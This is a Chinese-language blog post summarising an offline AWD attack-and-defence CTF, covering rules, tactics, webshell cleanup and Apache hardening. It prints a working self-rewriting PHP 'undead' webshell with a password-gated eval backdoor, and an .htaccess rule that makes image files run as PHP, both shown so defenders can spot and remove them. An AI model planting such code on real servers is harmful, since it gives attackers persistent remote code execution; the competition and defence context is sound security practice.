自己一次线下AWD线下赛总结



  • 自己一次线下AWD线下赛总结

    AWD即Attack With Defence,一般awd团队赛都是三个人共同维护一台机器或者多台机器,两台Web,一台pwn,利用漏洞攻击其队的flag得分,其他队伍提交了你的flag你就会失分,那么此时就需要团队协作防御和攻击所维护的服务器

    关于AWD一些固定规则:

    • 一般分配Web服务器,Pwn服务器,服务器或叫做Gamebox(多数为Linux)某处存在flag
    • 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(没遇到过)
    • flag在主办方的设定下每隔一定时间(通常是5分钟)刷新一轮
    • 各队一般都有自己的初始分数,flag一旦被其他队伍拿走,该队扣除一定积分,其他队伍得分
    • 主办方会对每个队伍的服务进行check,服务宕机扣除分数
    • 一般每个队伍会给一个低权限用户,非root权限

    awd赛前技巧

    赛前一定要把线下所有用到的脚本在本地在跑一下,一些python常用库,
    比赛时候,出现一血只要不是自己,看到谁被打了立马就去打被攻击打那个人,短时间内肯定来不及修复,自己被打了,可以去看流量,比赛过程中如果实在发现不了漏洞,可以多观察一下流量

    防守技巧

    Web题加固

    • 代码层,是否有webshell,是否有rce漏洞
    • 中间件层,apache解析漏洞,目录遍历等
    • 其他服务,mysql未授权访问什么的

    内存马

    awd中最头疼的应该就是不死马了,可以打别人,别人也会向你服务器种不死马
    比如像如下:

    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '2.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
    while (1){
        file_put_contents($file,$code);
        usleep(5000);
    }
    ?>
    
    我们如何发现它?
    ls -a
    如何解决?
    rm .webshell.php && mkdir .webshell.php //建立一个和不死马一样名字的文件夹,这样不死马就写不进去了
    完全杀死不死马,得清理内存
    ps -aux|grep 'www-data'|awk'{print$2}'|xargs kill -9 // 杀进程得在root或者www-data权限下
    

    webshell查杀

    因为比赛现场大多数都是没有网盾,所以你的webshell扫描工具联网是用不了的,
    一定要选择可以离线使用的webshell查杀工具,可以选择D盾,但距离比赛前一天一定要升级一下裤
    长亭的牡云扫描器也是可以离线使用的

    web加固

    其他rce漏洞

    • 反序列化,命令注入等
    • 赛前一定把常用的各种cms都准备一遍,一般外国的比较多,代码实在审计不出来直接把代码覆盖,cms最新的漏洞,怎么利用赛场你要做的不光是防住,更多的是攻击,所以怎么代码审计能力一定要有
    • 其他的漏洞,就是一些常见的;
      sql注入
      XXE
      SSRF
      … …

    根据敏感关键字回溯参数传递过程

    • .htaccess时常就会被当作后门使用,要注意,比如
    <FilesMatch "\.(gif|jpe?g|png)$">
    SetHandler application/x-httpd-php
    </FilesMatch>
    

    Apache安全加固

    • 账号设置

    以专门的用户账号和用户组运行apache服务,这里要说明要熟悉不同系统apache.conf,httpd.conf的位置,centos,debian,ubuntu等
    根据需要,为apache服务创建用户及用户组,如果没有设置用户和组,则新建用户,并在apache配置文件中进行指定

    创建apache用户组

    groupadd Apache
    

    创建apache用户并加入apache用户组

    useradd apache -g Apache
    

    将下面两行设置参数加入apache配置文件http.conf,debian下可能是etc下的apache2/apache2.conf

    User apache
    Group apache
    

    检查httpd.conf或者是apache2.conf配置文件中是否允许使用非专用账号运行(如root)apache服务
    默认设置一般即符合要求,linux系统中默认使用apache或者nobody用户

    • 授权设置

    严格控制apache主目录的访问权限,非超级用户不能修改该目录中的内容
    aoache 的主目录应对于apache server配置文件httpd.conf中的Server Root控制项,设置为:
    Server Root /usr/local/apahe

    判定条件 非超级用户不能修改该目录的内容
    检测操作:常识进行修改,看是否能修改目录中的内容
    该目录一般设置为/etc/httpd目录,默认情况下属root 用户,其他用户不鞥修改目录中文件,


Log in to reply